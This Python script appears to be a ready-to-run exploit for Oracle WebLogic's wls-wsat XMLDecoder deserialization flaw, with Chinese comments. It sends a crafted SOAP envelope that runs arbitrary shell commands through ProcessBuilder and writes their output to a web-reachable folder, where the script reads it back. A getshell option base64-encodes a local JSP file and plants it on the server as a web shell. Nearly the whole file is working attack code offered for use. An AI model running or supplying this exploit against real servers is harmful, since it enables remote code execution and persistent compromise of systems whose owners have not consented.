151 lines
6.3 KiB
Python
151 lines
6.3 KiB
Python
|
#!/usr/bin/env python
|
|||
|
|
# _*_ coding:utf-8 _*_
|
|||
|
|
'''
|
|||
|
|
____ _ _ _ _ __ __ _
|
|||
|
|
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
|
|||
|
|
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
|
|||
|
|
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|
|||
|
|
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
|
|||
|
|
|
|||
|
|
'''
|
|||
|
|
import requests
|
|||
|
|
import argparse
|
|||
|
|
import time
|
|||
|
|
import base64
|
|||
|
|
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
|
|||
|
|
headers = {'User-Agent':'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)'}
|
|||
|
|
timeout = 5
|
|||
|
|
'''
|
|||
|
|
payload的格式化
|
|||
|
|
'''
|
|||
|
|
def payload_command(command_in,output_file,os):
|
|||
|
|
html_escape_table = {
|
|||
|
|
"&": "&",
|
|||
|
|
'"': """,
|
|||
|
|
"'": "'",
|
|||
|
|
">": ">",
|
|||
|
|
"<": "<",
|
|||
|
|
}
|
|||
|
|
#命令执行回显：将命令执行的结果输出到文件中
|
|||
|
|
#command_in_payload = 'find . -name index.html| while read path_file;do {} >$(dirname $path_file)/{};done'.format(command_in,output_file)
|
|||
|
|
command_in_payload = '{} > ./servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/{}'.format(command_in,output_file)
|
|||
|
|
command_filtered = "<string>"+"".join(html_escape_table.get(c, c) for c in command_in_payload)+"</string>"
|
|||
|
|
#XMLDecoder反序列化payload:
|
|||
|
|
cmd_app = '/bin/sh' if os == 'linux' else 'cmd.exe'
|
|||
|
|
cmd_param = '-c' if os == 'linux' else '/c'
|
|||
|
|
|
|||
|
|
payload_1 = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n" \
|
|||
|
|
" <soapenv:Header> " \
|
|||
|
|
" <work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\"> \n" \
|
|||
|
|
" <java version=\"1.8.0_151\" class=\"java.beans.XMLDecoder\"> \n" \
|
|||
|
|
" <void class=\"java.lang.ProcessBuilder\"> \n" \
|
|||
|
|
" <array class=\"java.lang.String\" length=\"3\">" \
|
|||
|
|
" <void index = \"0\"> " \
|
|||
|
|
" <string>{}</string> " \
|
|||
|
|
" </void> " \
|
|||
|
|
" <void index = \"1\"> " \
|
|||
|
|
" <string>{}</string> " \
|
|||
|
|
" </void> " \
|
|||
|
|
" <void index = \"2\"> ".format(cmd_app,cmd_param) \
|
|||
|
|
+ command_filtered + \
|
|||
|
|
" </void> " \
|
|||
|
|
" </array>" \
|
|||
|
|
" <void method=\"start\"/>" \
|
|||
|
|
" </void>" \
|
|||
|
|
" </java>" \
|
|||
|
|
" </work:WorkContext>" \
|
|||
|
|
" </soapenv:Header>" \
|
|||
|
|
" <soapenv:Body/>" \
|
|||
|
|
"</soapenv:Envelope>"
|
|||
|
|
return payload_1
|
|||
|
|
|
|||
|
|
'''
|
|||
|
|
得到命令执行的回显结果
|
|||
|
|
'''
|
|||
|
|
def get_output(target,output_file):
|
|||
|
|
if not target.startswith('http'):
|
|||
|
|
target = 'http://{}'.format(target)
|
|||
|
|
#url增加时间戳避免数据是上一次的结果缓存
|
|||
|
|
output_url = '{}/bea_wls_internal/{}?{}'.format(target,output_file,int(time.time()))
|
|||
|
|
try:
|
|||
|
|
r = requests.get(output_url,headers = headers,proxies=proxies,timeout=timeout,verify=False)
|
|||
|
|
if r.status_code == requests.codes.ok:
|
|||
|
|
return (True,(r.text.strip()))
|
|||
|
|
elif r.status_code == 404:
|
|||
|
|
return (False,'404 no output')
|
|||
|
|
else:
|
|||
|
|
return (False,r.status_code)
|
|||
|
|
except Exception,ex:
|
|||
|
|
#raise
|
|||
|
|
return (False,str(ex))
|
|||
|
|
|
|||
|
|
'''
|
|||
|
|
RCE
|
|||
|
|
'''
|
|||
|
|
def weblogic_rce(target,cmd,output_file,os='linux'):
|
|||
|
|
if not target.startswith('http'):
|
|||
|
|
target = 'http://{}'.format(target)
|
|||
|
|
url = '{}/wls-wsat/CoordinatorPortType'.format(target)
|
|||
|
|
#content-type必须为text/xml
|
|||
|
|
payload_header = {'content-type': 'text/xml','User-Agent':'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)'}
|
|||
|
|
msg = ''
|
|||
|
|
try:
|
|||
|
|
r = requests.post(url, payload_command(cmd,output_file,os),headers = payload_header,verify=False,timeout=timeout,proxies=proxies)
|
|||
|
|
#500时说明已成功反序列化执行命令
|
|||
|
|
if r.status_code == 500:
|
|||
|
|
#delay一下，保证命令执行完整性：
|
|||
|
|
time.sleep(1)
|
|||
|
|
return get_output(target,output_file)
|
|||
|
|
elif r.status_code == 404:
|
|||
|
|
return (False,'404 no vulnerability')
|
|||
|
|
else:
|
|||
|
|
return (False,'{} something went wrong'.format(r.status_code))
|
|||
|
|
except requests.exceptions.ReadTimeout:
|
|||
|
|
return (False,'timeout')
|
|||
|
|
except Exception,ex:
|
|||
|
|
#raise
|
|||
|
|
return (False,str(ex))
|
|||
|
|
|
|||
|
|
'''
|
|||
|
|
getshell
|
|||
|
|
'''
|
|||
|
|
def weblogic_getshell(target,output_file,shell_file,os='linux'):
|
|||
|
|
if not target.startswith('http'):
|
|||
|
|
target = 'http://{}'.format(target)
|
|||
|
|
with open(shell_file) as f:
|
|||
|
|
cmd = 'echo {}|base64 -d'.format(base64.b64encode(f.read()))
|
|||
|
|
status,result = weblogic_rce(target,cmd,output_file,os)
|
|||
|
|
if status:
|
|||
|
|
print '[+]shell-> {}/bea_wls_internal/{}'.format(target,output_file)
|
|||
|
|
return (status,result)
|
|||
|
|
'''
|
|||
|
|
main
|
|||
|
|
'''
|
|||
|
|
def main():
|
|||
|
|
global proxies
|
|||
|
|
|
|||
|
|
parse = argparse.ArgumentParser()
|
|||
|
|
parse.add_argument('-t', '--target',required=True, help='weblogic ip and port(eg -> 172.16.80.131:7001 or https://172.16.80.131)')
|
|||
|
|
parse.add_argument('-c', '--cmd', required=False,default='id', help='command to execute,default is "id"')
|
|||
|
|
parse.add_argument('-o', '--output', required=False,default='output.txt', help='output file name,default is output.txt')
|
|||
|
|
parse.add_argument('-s', '--shell', required = False,default='',help='local jsp file name to upload,and set -o xxx.jsp')
|
|||
|
|
parse.add_argument('--os',choices=['linux','win'],default='linux',help='host os:linux or win,default is linux')
|
|||
|
|
parse.add_argument('--proxy', action = 'store_true',default=False,help='use proxy')
|
|||
|
|
args = parse.parse_args()
|
|||
|
|
|
|||
|
|
#是否使用proxy
|
|||
|
|
if not args.proxy:
|
|||
|
|
proxies = None
|
|||
|
|
if args.shell!='':
|
|||
|
|
status,result = weblogic_getshell(args.target,args.output,args.shell,args.os)
|
|||
|
|
else:
|
|||
|
|
status,result = weblogic_rce(args.target,args.cmd,args.output,args.os)
|
|||
|
|
#output result:
|
|||
|
|
if status:
|
|||
|
|
print result
|
|||
|
|
else:
|
|||
|
|
print '[-]FAIL:{}'.format(result)
|
|||
|
|
|
|||
|
|
if __name__ == '__main__':
|
|||
|
|
main()
|